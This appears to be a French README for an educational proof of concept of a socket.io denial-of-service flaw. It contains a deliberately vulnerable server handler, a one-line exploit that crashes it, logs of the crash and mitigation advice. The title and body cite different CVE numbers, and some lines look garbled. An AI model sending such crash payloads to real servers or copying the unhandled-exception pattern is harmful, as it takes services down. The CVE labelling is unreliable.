
Preuve de concept de CVE-2024-47554
Ce projet est une preuve de concept démontrant CVE-2024-38355, une vulnérabilité de déni de service dans socket.io. Ce projet a été créé à des fins éducatives pour montrer le mécanisme d'attaque et comment protéger les applications.
Cette vulnérabilité affecte les versions de socket.io :
Un paquet Socket.IO spécialement conçu peut déclencher une exception non capturée sur le serveur, provoquant le plantage du processus Node.js. Cela entraîne une attaque par déni de service (DoS).
Comment ça fonctionne :
Facteurs clés :
error sur le socketLe projet se compose de deux conteneurs Docker :
[email protected]. Il dispose d'un gestionnaire d'événements qui peut lever une exception non capturée lors de la réception de données malveillantes.Ou alternativement :
Ouvrez un terminal dans le répertoire racine du projet et exécutez :
docker-compose down
docker-compose build --no-cache
docker-compose up
Cela va :
Terminal 1 - Démarrer le serveur :
cd server
npm install
npm start
Terminal 2 - Exécuter l'exploit :
cd exploit
npm install
npm start
Journaux du serveur :
[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
throw new Error('Uncaught exception triggered by malicious packet');
Journaux de l'exploit :
[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...
[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}
[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).
[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error
Appuyez sur Ctrl+C ou exécutez :
docker-compose down
server/index.js)socket.on('process_data', (data) => {
// VULNERABLE: No try-catch, no error handler on socket
if (data && data.trigger === 'crash') {
throw new Error('Uncaught exception'); // Crashes the process!
}
});
exploit/exploit.js)// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });
Pour protéger votre application contre cette vulnérabilité :
Mettez à jour socket.io vers la version 4.6.2 ou plus récente (le correctif ajoute un gestionnaire d'erreur par défaut sans opération).
Attachez toujours des gestionnaires d'erreur aux sockets :
socket.on('error', (err) => {
console.error('Socket error:', err);
// Handle gracefully, don't let it crash the server
});
Enveloppez les gestionnaires d'événements dans un try-catch :
socket.on('process_data', (data) => {
try {
// Process data safely
} catch (err) {
console.error('Error processing data:', err);
socket.emit('error_response', { message: 'Invalid data' });
}
});
Ajoutez un gestionnaire global d'exceptions non capturées (en dernier recours) :
process.on('uncaughtException', (err) => {
console.error('Uncaught Exception:', err);
// Log and gracefully shutdown
});
Projet créé à des fins éducatives.